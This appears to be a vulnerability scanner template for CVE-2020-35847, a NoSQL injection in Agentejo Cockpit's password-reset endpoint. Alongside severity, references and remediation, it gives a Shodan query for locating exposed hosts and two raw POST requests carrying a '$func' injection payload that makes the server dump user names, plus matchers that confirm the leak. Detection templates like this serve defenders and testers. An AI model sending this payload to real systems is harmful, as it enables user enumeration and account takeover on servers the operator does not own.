id: CVE-2020-35847 info: name: Agentejo Cockpit <0.11.2 - NoSQL Injection author: dwisiswant0 severity: critical description: | Agentejo Cockpit before 0.11.2 allows NoSQL injection via the Controller/Auth.php resetpassword function of the Auth controller. remediation: | Upgrade Agentejo Cockpit to version 0.11.2 or later to mitigate this vulnerability. reference: - https://swarm.ptsecurity.com/rce-cockpit-cms/ - https://nvd.nist.gov/vuln/detail/CVE-2020-35847 - https://getcockpit.com/ - https://github.com/agentejo/cockpit/commit/2a385af8d80ed60d40d386ed813c1039db00c466 - https://github.com/agentejo/cockpit/commit/33e7199575631ba1f74cba6b16b10c820bec59af classification: cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H cvss-score: 9.8 cve-id: CVE-2020-35847 cwe-id: CWE-89 epss-score: 0.74725 epss-percentile: 0.97832 cpe: cpe:2.3:a:agentejo:cockpit:*:*:*:*:*:*:*:* metadata: verified: true max-request: 2 vendor: agentejo product: cockpit shodan-query: http.favicon.hash:688609340 tags: cve,cve2020,nosqli,sqli,cockpit,injection http: - raw: - | POST /auth/requestreset HTTP/1.1 Host: {{Hostname}} Content-Type: application/json { "user": { "$func": "var_dump" } } - | POST /auth/requestreset HTTP/1.1 Host: {{Hostname}} Content-Type: application/json { "user": { "$func": "nonexistent_function" } } matchers-condition: and matchers: - type: regex part: body_1 regex: - 'string\([0-9]{1,3}\)(\s)?"([A-Za-z0-9-.@\s-]+)"' - type: regex part: body_1 negative: true regex: - 'string\([0-9]{1,3}\)(\s)?"(error404)([A-Za-z0-9-.@\s-]+)"' - type: regex part: body_2 negative: true regex: - 'string\([0-9]{1,3}\)(\s)?"([A-Za-z0-9-.@\s-]+)"' # digest: 4a0a00473045022049bdf96bcc32a1a2b7fa668a808c331a48b5917eb9a72420fbd60943aa105955022100cd1f299638ee1c99ab0258d4d39e452f4b53b9605b1926820d94814e642c38c4:922c64590222798bb761d5b6d8e72950